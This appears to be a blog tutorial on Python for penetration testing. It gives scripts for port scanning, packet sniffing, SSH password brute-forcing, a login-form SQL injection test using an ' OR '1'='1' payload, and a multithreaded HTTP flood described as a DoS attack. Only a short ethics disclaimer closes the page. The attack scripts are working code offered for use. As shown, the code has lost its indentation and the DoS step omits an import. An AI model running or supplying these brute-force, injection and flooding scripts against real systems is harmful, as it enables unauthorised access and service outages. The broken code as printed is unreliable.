Writing Python Scripts for Penetration Testing

Loading

What is Penetration Testing?

Penetration Testing (PenTesting) is a cybersecurity practice used to identify and exploit vulnerabilities in systems, networks, and applications. Python is widely used for automation in ethical hacking, vulnerability scanning, network reconnaissance, and exploitation.


Setting Up Your Environment

Install the necessary libraries:

pip install scapy requests nmap paramiko

Step 1: Network Scanning with Nmap & Python

Use python-nmap to scan open ports on a target machine.

import nmap

def scan_target(target):
scanner = nmap.PortScanner()
scanner.scan(target, '1-1024', '-v -sS')

for host in scanner.all_hosts():
print(f"\nHost: {host} ({scanner[host].hostname()})")
print(f"State: {scanner[host].state()}")

for proto in scanner[host].all_protocols():
print(f"\nProtocol: {proto}")
ports = scanner[host][proto].keys()
for port in ports:
print(f"Port {port}: {scanner[host][proto][port]['state']}")

# Example usage
scan_target('192.168.1.1')

This script scans ports 1-1024 on a given IP.


Step 2: Packet Sniffing with Scapy

Capture network packets using Scapy.

from scapy.all import sniff

def packet_callback(packet):
print(packet.summary())

# Sniff 10 packets
sniff(prn=packet_callback, count=10)

This script captures 10 network packets and prints their summary.


Step 3: Brute Force SSH Login with Paramiko

Automate SSH brute-force attacks using Python.

import paramiko

def ssh_brute_force(target_ip, username, password_list):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for password in password_list:
try:
ssh.connect(target_ip, username=username, password=password, timeout=3)
print(f"Success! Password found: {password}")
return password
except paramiko.AuthenticationException:
print(f"Failed: {password}")
except Exception as e:
print(f"Error: {e}")

print("Brute force attack failed!")
return None

# Example usage
passwords = ["admin", "password", "123456", "root"]
ssh_brute_force("192.168.1.1", "root", passwords)

This script attempts multiple SSH passwords to gain access.


Step 4: Web Vulnerability Scanning with Requests

Check for SQL Injection vulnerability in a website.

import requests

def sql_injection_test(url):
payload = "' OR '1'='1' -- "
params = {"username": payload, "password": "test"}

response = requests.post(url, data=params)

if "Welcome" in response.text:
print(f"SQL Injection Vulnerability Found at {url}")
else:
print("No SQL Injection detected.")

# Example usage
sql_injection_test("http://example.com/login")

This script tests if a login form is vulnerable to SQL Injection.


Step 5: Denial-of-Service (DoS) Attack Script

Flood a target with HTTP requests.

import threading

def dos_attack(target):
while True:
try:
requests.get(target)
print(f"Request sent to {target}")
except:
print("Error sending request!")

# Example usage
target_url = "http://example.com"
threads = []

for i in range(10): # 10 threads
thread = threading.Thread(target=dos_attack, args=(target_url,))
thread.start()
threads.append(thread)

This script simulates a basic DoS attack by sending continuous requests.


Ethical Considerations

Only test systems with permission.
Penetration testing should follow legal and ethical guidelines.
Use these scripts for security research and learning purposes only.

Leave a Reply

Your email address will not be published. Required fields are marked *